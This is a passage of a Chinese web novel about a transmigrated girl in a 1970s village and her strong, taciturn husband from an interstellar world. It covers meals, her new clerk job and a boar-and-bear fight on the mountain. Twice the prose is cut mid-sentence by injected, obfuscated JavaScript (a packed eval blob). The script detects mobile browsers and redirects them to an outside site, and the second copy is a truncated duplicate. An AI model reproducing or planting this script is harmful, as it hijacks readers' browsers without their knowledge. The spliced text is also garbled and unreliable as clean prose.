她心中有个计划,她准备重建厨房。在现在的厨房基础上加固加高屋顶,空间划分成两半,一半给帕鲁做卧室,另一半是新厨房。 苏青棠的架子床拼接完成,比之前的旧床矮,更方便她随时躺上去。 谢泊明用剩下的木头打了两张椅子,苏青棠把没用完的向日葵床单裁剪一番,给椅子铺上软垫,精心包装一番,高度刚好适合坐在方桌前吃饭。 谢泊明没给自己打床,拆下来的旧床能改成一张两米的单人床,他用两条长凳充当床架子,自己的床就完成了。 苏青棠担心他的床会不结实,他给她打了新床,自己却睡得这么凑合。等厨房建好,一定让他住上新卧室。 房间新格局诞生。进门后正对面是谢泊明的单人床,床尾对着遮光帘,床头放了一张带抽屉的床头柜。床头柜一看就是自己亲手打的,只磨掉了毛刺,没有上油漆。 进门左边是一张铺了向日葵桌布的方桌,两边各有一条配套的椅子。 遮光帘就挂在方桌和樟木箱子之间,拉上后正好把公共区域和苏青棠的卧室隔开,进门不会直接看到苏青棠的床。 拉开遮光帘,映入眼帘的是两张并排的樟木箱子。每个箱面都放着一个台灯。靠外箱子的锁正对着谢泊明的床,靠墙箱子的锁对着苏青棠的床,两个箱子现在一人一个,用来放各自的衣服和贵重物品。 箱子后面是苏青棠的大床,她没有床头柜,箱子挨着床恰恰能当床头柜使用。 家里暂时就这些东西,后面可以慢慢添置,起码现在看起来像个小清新民宿,赏心悦目了许多。 苏青棠还有个计划,就是把屋檐下的位置利用起来当成会客厅,一般的客人不请进里屋。 根据她的分析观察,屋檐这块位置按理说是用来做成堂屋的布局,大概是苏家预算不够所以只修了一间屋子。 眼前还有个更严肃的问题,苏家的厕所在院外,跟王家共用一个,晚上两家都会在家里放个上厕所的桶,第二天再去厕所倒掉。 苏青棠受不了旱厕,早就从空间翻出了露营用的临时厕所和移动浴室,等天色一暗就放在院子角落。 事情一堆接一堆,生活突然变得充实,家里有帕鲁坐镇她充满底气,什么妖魔鬼怪尽管来。 事已至此,先吃饭吧。 5. 工作 苏青棠洗干净小锅,掏出半成品材料煮了一大锅杨枝甘露,里面放了超多芋圆。 她又在院里点燃煤炉子,底下烧柴。 铁锅加水后放入番茄火锅底料,今晚做一顿番茄肥牛犒劳帕鲁。 谢泊明从外面回来,带着一身水汽,头发湿漉漉的滴着水珠。 苏青棠打从心底里羡慕他的体质,还没到夏天就敢下河洗澡,身体底子真好啊。 她最开始囤积物资图便宜,再加上没经验,囤了好多调理类肉卷。 调理肉卷顾名思义就是打着肥牛肉、肥羊肉的名字,实际是用猪肉或鸭肉合成的肉卷,用互联网上的话说就是充满了科技与狠活。 苏青棠硬着头皮解决了几箱,最后实在吃腻了,她总不能顿顿吃,所以空间里至少还剩一百九十多箱合成肉卷。 这家货源是供给超市的,质量和口感方面没任何问题,吃着对身体也没影响。 帕鲁饭量那么大,正好替她解决存货,没点家底还真养不起帕鲁。不过帕鲁带来的安全保障就已经把这点伙食费比下去了。 空间物资用到新世纪绰绰有余,饭量大根本不算事,她只用管吃住,连工资都不需要发,这性价比怎么算都值,不愧是她的好伙伴帕鲁。 苏青棠坐在炉子前搅拌锅底:“你回来啦,准备拿碗筷开饭了。” 屋檐下的桌子上放着小菜篮,里面除了已经清洗过一遍的肥牛卷,还有火锅丸子、娃娃菜、响铃卷、胡萝卜和宽粉。 她不管帕鲁能不能听懂,自己絮絮叨叨:“你今天干了那么多体力活,又重新修了家里的门和我的床,奖励你一顿好吃的补补。” 谢泊明去厨房拿了碗筷出来,下意识摸了摸手中的触感,跟他以前用的碗筷不一样。 苏青棠招呼他坐下:“随便吃,管够。” 她起身去厨房舀了一盆杨枝甘露,给自己的一升装大杯子装了满满一杯,剩下大半盆全都留给帕鲁当夜宵。 苏青棠从厨房出来,谢泊明拿着碗筷并没有开动,而是特地等她一起。 她心里一暖,对帕鲁的印象分噌噌往上涨。有些人长得人模狗样,连基本的礼貌都不懂,还不如人家傻子呢,瞧瞧人家的家教。 苏青棠一直观察着他,帕鲁吃饭动作很快,却没发出一丁点声音,更没有吧唧嘴,反倒因为对方吃相特别有食欲,她没忍住跟着吃撑了。 她吃了一斤牛肉卷,又吃了点蔬菜,接下来的时间一直在帮帕鲁涮菜。 谢泊明吃了一盘又一盘,肥牛肉卷和丸子蔬菜涮熟了就往嘴里送,等苏青棠反应过来,他已经吃了十斤肥牛卷。 她不免浮现出担忧的神色:“你吃这么多胃不会撑的难受吗?” 谢泊明摇了摇头,他今天消耗太多体力,吃这么多只是刚填饱肚子。再加上她的厨艺很好,这顿饭很开胃,酸甜的口味让他总想继续吃。 以前住在父亲家,他每天晚上会去山上狩猎,在他的秘密基地山洞里烤两只野鸡或野兔才有饱腹感。 他抓过一只三四百斤的野猪,刚宰杀的野猪肉质新鲜,他那一晚光是烤着吃就吃了10斤。剩下的切成长条腌成腊肉挂在山洞里,才两个月就吃完了。 他怕吓着小姑娘,特地控制在十斤的饭量没有多吃。 “不撑...刚好。” 苏青棠继羡慕他的体质后,又开始羡慕他的饭量了。 “我要是有你四分之一的饭量就好了,那我肯定是个身体很健壮的人。” 她现在的身子骨弱得可怕,刮风稍微大点她就得找根树桩子抱着。都不说一阵风,帕鲁一根手指头都能把她戳倒在地。 就算不养帕鲁她也要顿顿荤素搭配,好好把自己养一养。 上辈子她为了符合精致自律人设,每周都会去健身房撸铁锻炼,甚至能单手抱起来体重一百斤左右的小姐姐。 苏青棠捧着装满杨枝甘露的大杯子起身:“我做饭,锅碗你洗可以吗?盆里盛着的是我自制的糖水,专门给你留的。” 谢泊明麻利地起身收拾锅碗,饭后洗碗这些活他早习以为常,动作里没有半点生疏。 苏青棠放心回屋,悄悄扣上门锁。她拿出一身颜色低调的家居服,趁着帕鲁在院子里,她从空间放出早就准备好的便携式充气浴缸。 终于把全身上下洗的干干净净,换上舒适的家居服,这才感觉整个人重新活了过来。 苏青棠重新打开门,在床头点燃助眠香薰,舒服地把自己埋进被窝,蹭了蹭香软的棉被,充满了惬意。 真好啊,晚上八点就能进被窝睡觉。没有加班更不用半夜接甲方的电话,慢节奏的养老小日子一直过下去似乎也不错。 谢泊明收拾完厨房,捧着盆大口喝完糖水。她做的糖水和自己喝过的不一样,这个更好喝,里面有软乎乎的面疙瘩。 他小心翼翼地将最后一滴倒进嘴里,意犹未尽。 临睡前,谢泊明在门口巡视一圈,目光落在院墙上。 重新改过的大门非常牢固,再有不长眼的翻墙进来做坏事,后果便要他们自负了。 苏青棠手上抓着一本书,看得昏昏欲睡。房间突然进来一个人,她瞬间清醒过来,把书随手丢进空间。 尽管知道帕鲁无害,但神经还是不由自主紧绷,直到帘子另一边传来躺下的声音,苏青棠悬着的心终于放下。 夜里,谢泊明听帘子对面传来逐渐平稳的呼吸声,他缓缓睁开双眼。 从下午起,他就察觉到一股若有似无的精神力波动。他向来警惕,只有在夜深人静的时候才会动用精神力。 自从意外来到这个世界,他的精神力便受到压制。强行使用精神力就会头痛欲裂,他推测应该是当前的世界规则排斥他的到来,或许是因为他身受重伤造不成危害,才没被抹杀。 在星际精神力体系里,3S级是顶级上限,代表着最强战力和星际公认的顶点天赋,更因觉醒率低至千万分之一而稀有至极。他自己曾是这个传说的拥有者,金字塔顶尖的存在。若不是遭到自己人的出卖,不得不与虫族女王玉石俱焚;星际储君的位置,从一开始就没有旁人争夺的余地。 尽管他对那个位置毫无兴趣,也早就明白幕后黑手是他的好父亲和弟弟一手策划。 他目前是A级精神力,算一位合格的星际公民,军队士兵的门槛都要B级。即便如此他也不能频繁使用精神力,否则便会被世界规则注意。 换做从前,察觉异常的他早该起身去山洞。他习惯把可能发出动静的事挪到外面处理,哪怕只是去确认情况,不想惊扰到家里上了年纪的父亲。 只是昨晚苏家刚遭遇入室盗窃,隔壁床的女孩显然是全然信赖他的。正因为自己的存在,她才敢放下戒备安然入睡,他既然答应了保护她便不会轻易食言。 谢泊明双手交握平放在小腹,刚要散出去试探的精神力突然不知触碰到了什么,他疑惑的皱眉。 奇怪,他好像找到了丢失的空间钮。 空间钮是谢泊明与生俱来的伴生之物,他的空间钮是整个星际独一份,光是它的内部容量便有一座城市那么大。 自从意外来到这个世界,空间钮丢失,他搜寻过方圆一百里,无论如何都找不到。他怀疑过可能是穿越虫洞时掉落在别的地方,不过他并不担心被人发现捡走。 空间钮的本体是一枚芯片,只有亿万分之一的概率会被人捡走并绑定。 即便是最差的结果,真的被人拾取绑定,说明对方的精神力和气运必然不输于他。 谢泊明心里清楚,这不过是理论上的最差结果罢了。 先不说这世界是否有高精神力的人存在,毕竟这个连星际规则都不兼容的落后星球,要是有人捡到芯片并成功绑定,难度比他找回空间钮本身还要大。 他很快便将这无关的猜测压了下去,只专注于确认那熟悉的能量波动。 好消息是空间钮找回来了,但似乎是他精神力缩水的原因,导致内部容量变小了不少。 谢泊明满心都是找回空间钮的喜悦,一晚上没怎么睡。 第二天一早,谢老头找上了门。 “青棠啊,如今你们家没劳动力,经过咱大队干部们开会讨论后,一致决定让你去大队部帮忙记工分,大队已经有了一位记工员孙萍同志,你去了一天能拿4个工分。不过家里有阿明在,他可是干重活的一把手,一天能拿12工分,你俩肯定不会饿着肚子。” 这倒是个意外之喜,苏青棠还以为自己会被分配去照料牲畜呢。 反正是坐办公室上班,工分少点就少点吧,起码不用被风吹日晒。 只是没想到自己一天的工分竟然是帕鲁的三分之一,果然人与人之间没有可比性。 她重重点头,脸上露出甜甜的笑容:“谢谢大队长!谢谢大队的干部同志们!” 早饭依旧是方便面,谢泊明破天荒只吃了三包,苏青棠把大门钥匙分给他一把。 “中午下工要是我还没到家,你就先自己吃泡面垫垫。” 谢泊明接过钥匙,不经意瞥见女孩竹竿似的手腕,眉头微微蹙起。 距离上工还有一会儿时间,他要去山洞把自己的东西全放进空间。 苏青棠背着挎包去大队部报道,谢泊明与此同时出现在了半山腰。 胜利大队在山脚下。山上有野猪野狼出没,一般人不敢靠近深山,只在山脚捡点木柴,以前有猎户上山打猎,现在倒是没有了。 谢泊明的秘密基地在深山,他身手矫健,遇到野猪和野狼只会变成他山洞里的一吊风干腊肉。 找回了空间钮,以后终于不用再啃干硬的腊肉。 想到昨晚尝过的美味,或许他应该把猎物带回家。然而他突然想起家里的小姑娘还没成年,让未成年女孩给他做饭,放在星际属于虐待罪了。 谢泊明心虚地摸了摸鼻子。 ----------------- 大队部的办公室里有两位工作人员。 一位是会计,四五十岁的中年男人,一脸威严的样子,苏青棠喊他赵叔。 另一位是记工员孙萍,三十岁出头,脸色不是很好看,她得喊孙姐。 苏青棠的工作内容是辅助记工员登记。孙萍貌似在给她下马威,打过招呼转头跟身边的赵叔聊的热火朝天。 今天来出工的人只能在苏青棠这里报到,她得把每个人的姓名、日期、工分数登记在临时台账上。 本以为是个轻松工作,真上手了苏青棠才知道有多棘手。 大家报名字时说着一口方言,哪怕苏青棠已经适应这里的日常对话,可哪分得清谁是谁家的人? 更别说方言把名字发音拐的七歪八扭,“张海宁”听着像“詹害您”,“陈建平”念成“陈尖赔”。 她要是写错了,对方便凑在她耳边大声吆喝,生怕她听不清似的。 苏青棠在台账上划了又改,一连写错好几个字。于是只能再三确认具体是哪个字,没想到这导致别人对她的能力投来怀疑的眼神。 她甚至听见身后排队的人嘀咕。 “青棠不是念过初中吗?这知识学狗肚子里去了,连咱们名字都不会写。” “小孩上学就是过家家,能认得几个字,还不如咱们呢!” “俺就说女娃娃上学糟蹋钱,还不如在家里带弟弟妹妹。” “就是,上学有啥用,学校就是骗人钱的地方。” 就在这时,正在跟会计聊天的孙萍突然站起身,走到苏青棠身后。 “不错,字挺漂亮。人家念过书才能坐在办公室给你们登记。你们要是觉得自己比小苏厉害,要不自己来写名字?” 喧哗声立马安静下来,他们心里都清楚自己的名字是哪几个字,真让他们写出来那就不会了。 苏青棠对孙姐帮自己说话感到意外,刚才进门她还给自己下马威呢。 孙萍只是帮她解了围,继续坐下跟会计聊天,一边翻开手边的册子核对。 苏青棠听到他俩在讨论去公社采购的事,竖起耳朵听了个七七八八。 距离上工时间越近,报到的人越来越少。 眼看自己家还没人来,不知道帕鲁跑哪去了。 帕鲁踩着点姗姗来迟,苏青棠不由得想起自己学生时代,每次必是踩点进教室。 这回她终于明白了班主任当时的心情。 谢泊明进屋,孙萍和赵德安立马笑吟吟跟他打招呼。 别看他是个傻子,他在大队的人缘真不错。谁家需要做体力活,就会请谢泊明过去帮忙,他力气大不收钱,只要给他管饭就行。 孙萍提醒苏青棠:“这是书记家的儿子。” 谢泊明摇了摇头,苏青棠把他的名字跟自己写在一排。 “赵叔,孙姐,阿明哥入赘到我家了,他上工记在我家这一栏。” 赵德安和孙萍目瞪口呆。 “什么时候的事?”赵德安毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364268|183852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟是长辈,很快反应过来。 “昨天,我家前天晚上遭贼,是阿明哥救了我。我昨天去大队长家里提亲,大队长同意了。我家的情况大家都了解,我们决定不办喜事,让他直接入赘到我家。” 这时候的乡下连打结婚证都是少数人,别说办喜事,大多都是两家商量好,男方搬去女方家住,或是女方嫁过去,邻里知道了,大队上记个档,就算是正经夫妻了。两家点头后直接凑成一家过,在乡下根本不算新鲜事。 所以苏青棠这么一说,赵德安和孙萍愣了愣后,也没觉得有啥不妥。就是觉得这丫头年龄有点小,但考虑到她父母刚没了家里就遭贼,还有个虎视眈眈的舅舅,自己招个上门女婿确实行得通。 只是没想到老谢竟然答应了,让捡回来养了几年的儿子给人当上门女婿。谁不知道老谢多想保住家里的香火,恰巧捡回来的儿子也姓谢,何尝不是一种缘分呢。 孙萍感慨过后,心有余悸。幸好自己刚刚只是给人一个下马威,没有得罪对方。 老谢是出了名的老好人,社员们都敬重他。他既是大队长又是大队书记。自己要是为难老谢的儿媳妇,那不是存心跟老谢过不去吗。 苏青棠短短一番话,让孙萍和赵德安心里千回百转,回过神来对她的态度180度大变样,语气里多了几分热络。 妇女主任和大队主任同时来到办公室,妇女主任是之前帮过苏青棠的李大娘,见到她很是高兴。 “青棠啊,你习不习惯做这个工作?” 孙萍立即看向苏青棠。 苏青棠莞尔一笑:“习惯,孙姐很热心,我一来就教我上手工作。一开始我忙的手忙脚乱,很快就适应了。” 相比较于新人入职场第一天坐冷板凳,她好歹亲自上手了工作内容。孙萍除了不搭理她,并没对她造成实质伤害,反而还帮她解了围。 李大娘心里纳闷,孙萍啥时候这么热心了?不过孙萍也不是坏人,说不定人家就喜欢关爱晚辈。 苏青棠的工作内容不多,忙也就是上工报到的时间段。 办公室一派其乐融融,大家都知道了苏青棠和谢泊明组成一家人的事。考虑到她家的情况,一群大人没闹着起哄让她发喜糖,毕竟孩子父母才入土没多久。 李大娘十分怜爱苏青棠,邀请她和谢泊明中午去自己家吃午饭。 苏青棠想到帕鲁的饭量连忙拒绝对方的善意。 李大娘家里也不富裕,一家好几口人呢。真要把帕鲁带去吃饭,万一他敞开了吃,把人家的饭都吃光了,岂不是给大娘添堵?倒不如回家自己做,他想吃多少自己都负担得起,省得让人家为难。 “大娘,我中午回家要给阿明哥做饭,他做体力活回家就累瘫着了,等下次有机会我一定去你家蹭饭。” 李大娘笑着调侃:“咱们青棠是大姑娘了,都知道心疼家里那位了。” 既然知道苏青棠和老谢家的大傻结婚了,李大娘肯定不会说些反对的话,适当调侃反而有助于小夫妻的感情。 苏青棠被开玩笑耳朵滚烫,她上辈子母胎单身,哪里被人起哄过这种事情,脸上的羞涩藏都藏不住。 话虽如此,李大娘热情邀请苏青棠下午一起去挖荠菜,可以做荠菜豆腐汤。 苏青棠好久没吃过野菜了,上一世还是自己小时候在乡下过寒暑假的时候吃过荠菜饺子。 她咽了咽口水,要是下午能挖到荠菜,晚上就在家里包饺子吃。 孙萍凑了过来:“蕨菜你们吃不吃?我昨儿下午掰了半背篓呢,嫩得哟,用来凉拌好吃,今天再吃不完放明天就没那么新鲜了。” 李大娘说要一把蕨菜带回去尝尝,于是苏青棠点头也说要。 孙萍趁着现在没事儿做,锁了办公室抽屉溜回家,没一会儿就拎着两个小竹篓回来,给她俩一人装了满满一楼蕨菜。 “下午记得把篓子给我带过来啊,我跟你们一起去挖荠菜。” 苏青棠拎着一篮子蕨菜回家做午饭,心想中午到底是凉拌一道蕨菜呢还是做别的菜。孙姐的意思是蕨菜放了一晚上,最好今天吃完,下午还能再挖点新鲜的。 可是凉拌菜适合配粥,只喝粥肯定填不饱帕鲁的肚子。他下午还得干体力活,中午必须得吃点有油水的。 苏青棠没有经历过烈日底下干农活,但她高中和大学都体验过为期一个月的军训。有时候中午顾不上吃饭,下午站在烈日炎炎的操场上,眼前一阵发黑。 帕鲁干着比军训还累的体力活,怎么好意思让他饿着肚子下地,最近正是开垦的季节,工作量可不少。他现在是给自己打工,她可不能虐待人家。 苏青棠还没想好中午做什么菜,只能先把米饭蒸在锅里。 灶台上有两口锅,一个用来做饭,另一个用来烧水炒菜。 谢泊明进院之后,手上多出来两条风干腊肉。 苏青棠从厨房门口探出脑袋:“你回来了?中午想吃什么菜?” 她的目光不由自主落到帕鲁的手上,顿时眼睛瞪得老大。 “这是谢爷爷给的吗?” 她现在和帕鲁是一家人了,却还没习惯改口喊谢爷爷一声爹。本以为肉是公公给的,没想到谢泊明摇了摇头, “捡的。” 苏青棠连忙小跑上前拿过肉观察:“你从哪儿捡的呀?不会是别人挂在门口的肉吧。” 她在心里吐槽,也不知道谁家心这么大,腊肉都敢到处乱挂。 谢泊明又说:“山上…捡的。” 苏青棠闻了闻,肉没有变质。 她喃喃自语:“不应该啊,谁会好端端的把两块肉丢山上呢?难不成是处理赃物!” 谢泊明只想让她做肉吃,可她的防备心比自己想象的还要高。 为了吃到肉,他只能如实坦白:“我打的,野猪肉。” 苏青棠满脸不可置信:“你打的?那你为什么说是捡的?” 谢泊明绷着脸:“麻烦。” 苏青棠将信将疑,傻子竟然还会怕麻烦吗? 不过既然是帕鲁自己猎的野猪,她相信他的能力,苏青棠毫无心理负担地接受了。 “行,正好跟蕨菜炒着吃,中午就吃蕨菜炒腊肉吧。” 谢泊明乖乖跟在苏青棠身后,像个等着分配任务的小朋友。 苏青棠诧异回头:“你跟着我干嘛?” “帮忙,烧火。”他厨艺有限,知道帮不上别的忙,只能做一些力所能及的杂活。 6. 腊肉 苏青棠本想留一条腊肉过几天吃,不然这顿饭光吃腊肉得把人齁死。 但帕鲁不这么想,他用毛刷把两条腊肉洗得干干净净交给她,示意全都做了。 苏青棠还能怎么办,洗都洗干净了,家里明面上没有冰箱,只得都做了。 不过她有办法。 洗干净的蕨菜焯水去涩后切成小段,将腊肉切成半透明的薄片,下热锅煸出油汁,油脂裹着肉香瞬间漫开,再放点蒜末爆香。 接着把蕨菜倒进去翻炒,脆嫩的蕨菜吸满了腊肉的油脂,只需要加一点点盐提味,快炒两下出锅,此刻厨房里满是腊肉的咸香。 第二道菜她做的是蒜苗豆豉蒸腊肉。腊肉切成厚片,再把切成段的蒜苗铺上去,最后撒一勺豆豉,不用额外添水,直接放进做米饭的锅里跟着一起焖。 等米饭熟了,蒸汽里的肉香就溢出来了。 这个菜很耐放,哪怕一顿吃不完,没冰箱也能再放两三天不会坏。腊肉是腌制品,蒸透后油分裹住了食材,反倒不容易坏。下次吃的时候热一热,油香反倒更足。 蒜苗是王婶送过来的,担心她没菜吃。 王婶院子里的菜园种着不少应季菜,自家吃菜不用愁。苏青棠打算等家里院子空出来也弄个菜园子,菜种子她可囤了不少呢。 苏家的院子挺大的,可能是因为房子占地面积小,所以显得院子空荡荡的大。 苏青棠听到隔壁王婶家的两个孩子在院子里嚷嚷着好香、仿佛闻到了肉味,她心神一动,隔壁怕是好久没沾过荤腥了。 她先问了帕鲁的意见:“王婶家之前帮了我不少忙,我想送半碗炒腊肉过去。你放心,肉我之后会给你补回来。” 谢泊明没说话,只是点了点头。 过了一会儿,苏青棠便端着小半碗蕨菜炒腊肉来到王婶家里。 “婶子,我中午做了炒腊肉,给您端过来尝尝味道,您别嫌少啊!” 这年头猪肉是稀罕东西,过节都不一定有条件吃上,乡下人家基本要等冬至、中秋这样的大节,或是到了过年才能正经吃上一顿肉。 苏青棠把碗递到王婶面前,王婶立马双手挡在碗前,连忙退了半步,语气着急:“青棠,你这是干啥?快拿回去!肉多稀罕啊,你一个人过日子,省着点吃才对,哪能往我家送!”说着就要推苏青棠回家。 王家的两个孩子听到有肉从屋里跑出来,凑在王婶身边,大虎眼睛直勾勾盯着碗,眼神写满了渴望。 小虎嘴里含着食指,另一只手拽着母亲的衣角小声喊:“娘,肉香…俺想吃肉。” 王婶狠了狠心,咬牙坚持道:“真不用!这肉留着你自己补身子多好,婶子家不缺吃…” 话音未落,苏青棠笑着把碗交给大虎,转身就离开:“婶子,孩子们都想吃,您就别跟我推辞了,大虎吃完记得把碗给我送回来!” 大虎紧紧抱着怀里的瓷碗,炒腊肉的香味一个劲往鼻子里钻,他咧着嘴,露出还没彻底长出来的门牙,对着苏青棠的背影大声道谢:“谢谢苏姐姐!” 苏青棠回到家,谢泊明已经把饭菜摆在屋檐下的小桌上,碗里盛上了米饭,就等她回来一起吃饭。 她不禁再次在心里感叹自己的选择,养一个好拿捏的傻子可比嫁给原著里的人渣男主好太多了。 吃饭的时候,苏青棠问帕鲁:“山上有好东西吗?” 她看过不少年代文,主角每次进山不是抓野鸡野兔就是捡人参。自己都穿越了,怎么也得去碰碰运气吧? 本以为帕鲁不会回答她,没想到他放下筷子,慢吞吞开口说道:“狼、野猪、黑熊、豹子。” 苏青棠打了个哆嗦,还是算了,主角的运气不是谁都能有的。虽然自己是电视剧里的女主角,可编剧活活把女主当日本人整,唯一的女主光环就是嫁给男主,其余时间女主全在忍气吞声。 该死,怎么越想心里越憋屈,都想骂人了。 苏青棠做了五个人的饭量,谢泊明吃了整整三大碗米饭,满满一大碗蕨菜炒腊肉吃得一干二净。 她没吃几口肉就觉得油腻,只能吃蕨菜和蒜苗,即便如此还是断断续续喝了好几口米汤,才把嘴里的油腻感压下去。 再看看帕鲁,吃得特别香,仿佛自己的手艺是五星级酒店的大厨。她不得不佩服干体力活的人,一顿饭吃两斤肉都不带反胃的。 苏青棠双手捧着脸看他:“如果下午挖到荠菜,晚上吃饺子怎么样?” 谢泊明眼里闪过迷茫,他对这个世界有初步认知。吃饺子要用新鲜肉,买肉不仅要花钱,还要肉票,总之不是很容易能买到的。 他担心小姑娘不知道买肉不仅要钱,还要用肉票。想了想还是没有告诉她,肉的事自己来想办法。 苏青棠下午的工作跟早上一样,只是多了趟外勤,要去地里清点上工的人数。 她拿着本子跟在孙姐身后记录,感觉自己在当班主任,每天到教室第一件事就是查缺勤,一天两趟查岗。 终于熬到下班,苏青棠和孙姐、李大娘挎着篮子一起去挖荠菜。 李大娘不知道从哪儿发现的这一片长满荠菜的地方。乡下人可不笨,大家都知道荠菜是能入口的好东西,田坎上的荠菜早就被人挖光了,也就这山脚下的沟里还没有被人发现。 与此同时,谢泊明收工后没有回家,而是去了山脚的另一个方向。 沟里的泥土松软,苏青棠学着李大娘的样子,用小铁铲贴着荠菜根部轻轻一撬,连根带土挖了出来。 她们都想多挖点,自己不挖明天可能就被人挖光了。荠菜不仅能包饺子,最主要的是用来做荠菜团子,把荠菜和杂粮面揉成团蒸,吃一个就能顶饱,能算一顿主食呢。 突然,山上传来一阵不小的动静。 山沟里的三人面面相觑。 “这是啥声音啊?”孙萍抓着铲子神经紧绷。 李大娘见多识广:“估摸着是野猪碰上了黑瞎子,两边斗得你死我活。” 苏青棠上午才听帕鲁讲山里有熊,这才过了多久就近距离听到了野猪和黑瞎子打架的动静,一时间怀揣不安。 “我们要不要先回去?黑瞎子会不会跑到大队?” 孙萍也想赶紧离开。荠菜挖不完还有别的地方,真要是碰到黑瞎子,不值当为了野菜把小命弄丢了。 李大娘当机立断:“回吧,我得去大队说一声,让老谢他们早点做准备。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364269|183852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 春天是动物冬眠结束的时间,黑瞎子会下山找食物。山上的动静那么近,保不准哪天偷溜到大队。 三人揣着篮子一路小跑回大队,在大队部门口分开。 谢泊明脱掉身上捕猎时才会穿的兽皮褂子,腰上多出来一条血淋淋的伤痕。 刚刚他一时大意,不小心被黑熊挠了一爪子。好在那熊只剩最后一口气,跟野猪同归于尽,让他渔翁得利。 他空间现在有一头刚断气的大型野猪和黑熊。 谢泊明回家并没看到人,于是他先去了厨房,从野猪尸体上划拉两斤带着油脂的新鲜肉。 苏青棠把篮子放在厨房门口,正要进厨房从空间拿两条新鲜猪肉泡着,就和端着盆出来的帕鲁撞了个正着。 她踮起脚:“你盆里放着什么?”话音刚落张大了眼睛。 她下意识压低声音:“这肉是哪来的?” 谢泊明言简意赅:“山上捡的。” 苏青棠皱着眉头,不知道该不该相信。其实也不是不相信帕鲁,只是觉得他说的“捡”和自己理解的可能不一样。 “能告诉我是怎么捡的吗?”苏青棠尽量用哄小朋友的语气引导他。 谢泊明如实相告:“猪和熊打架,我捡的。” 苏青棠根据他提供的信息连蒙带猜:“是不是野猪和黑熊打得两败俱伤?今天山上的动静是这头猪吗?” “我过去,已经死了,捡的。” 苏青棠彻底松了口气,语气变得轻快:“你运气真好,不过一般人没你的实力,谁敢一个人上山啊。”说着她小声自言自语:“不知道野猪肉包饺子好不好吃。” 谢泊明手上的搪瓷盆里泡着带血的猪肉,苏青棠看了眼,下意识问了一句:“黑瞎子的尸体还在山上吗?” 野猪和黑熊的尸体都在他空间钮里存放,谢泊明顿了顿才回答:“还在,明天带回来,吃掉。” 苏青棠眼睛瞪得溜圆,立马高声制止:“不行!绝对不能吃它!” 黑瞎子可是牢底坐穿兽,虽然她不了解目前的野生动物保护法,但能进入国家二级保护动物名单,数量肯定稀有,万一吃了就犯法呢。 谢泊明似乎对她的激烈反应不解。山里的野兽本就可能对山脚下的人造成威胁。人们惧怕它们,却不能伤害它们,他从没听过这种奇怪的律法。 苏青棠拉着他胳膊,语气急切:“你听我说,帕鲁,黑瞎子太珍贵了,它全身都是宝贝,咱们自己吃是暴殄天物。不如把它拿去换成粮食和票,让它死得其所。” 她从没吃过熊肉,对野味不感兴趣,更何况过不了自己心里那一关。 谁让她是从二十一世纪穿越过来的,从小接受的就是‘保护野生动物、不吃野味’的观念。 她能接受野猪肉是因为野猪种群数量比黑熊多,和牢底坐穿兽根本不是一个级别。老一辈的人基本都吃过野猪肉,所以她对野猪肉没那么抗拒。 见她态度坚决,那只黑熊即便他想吃也不会烹饪,谢泊明只得遗憾放弃。 在他眼里顺应天择,适者生存,任何物种会灭绝只是因为不够强大罢了。野兽若是要靠人类保护才能活下去,便算不上是真正的野兽。 7. 石头 苏青棠晚上终于吃到了来这个世界后的第一顿舒服饭。 果然没有什么烦恼是一顿饺子不能解决的,如果一顿解决不了那就再吃一顿。 中午的炒腊肉她不是很喜欢吃,她更喜欢吃新鲜肉。 包饺子还有最省心的一点,帕鲁也会包饺子,尽管他只会包最简单的形状把两边捏合起来,但他力气大、动作快,一个人包了将近一百个饺子。 苏青棠只吃了十五个,其余全进了帕鲁的肚子,这种不用处理剩饭还不用吃隔夜饭的生活太幸福了吧。 晚饭后,苏青棠泡了一壶花茶,在院里来回走消食。 隔壁王婶踩着梯子爬上院墙,一眼看见了蹲在厨房门口洗碗的谢泊明。 她下午挖地的时候听说了,还以为自己听错了,她怎么不知道青棠结婚了? 别人说的有鼻子有眼,甚至大队长都没制止,想来肯定是发生了什么。 当她真的确认了苏青棠和傻子结婚,心里一阵发酸,说不出的怜惜。 这丫头本就够苦了,小小年纪就要扛起整个家。如今连婚姻大事都只能草率将就,往后的日子可怎么熬啊? 苏卫国和李海棠是多么和善温厚的一对夫妻,海棠刚嫁过来的时候叫李佑娣,海棠这名字还是她帮着一起想的。 夫妻俩都是命苦心善的实在人,谁能想到连带着肚子怀了三个月的孩子全都没了,老天爷怎么总是让好人没好报呢。 王婶收回思绪:“青棠,你在干啥呢?” “婶子,我吃饱了散散步消食,免得待会睡不着。” 王婶看着院里来回走的苏青棠,心里犯嘀咕,估摸是大队长接济了新婚夫妻俩,不然哪能吃饱了遛弯消食?这年月谁家不是饥一顿饱一顿,她可没听过谁吃饱了专门走几步路,怕撑得睡不着。 “那你早点睡啊,明早还上工呢。” 王婶不理解她的举动,却也没有明着点破。有大队长帮衬是好事情,要不是自家实在没余粮,她说啥也得把青棠接到自己家里养。 既然青棠结婚了,以后只能尽量帮衬着,一个小孩子和傻子结婚过日子,想想就命苦。 苏青棠不知道王婶的心理活动,但看王婶对她怜爱的神色就知道对方在心疼她。 她不反感别人的同情。因为王婶是个好人,有这样的邻居互帮互助,日子也能轻松点。 苏青棠消完食,打算洗个衣服再睡觉。 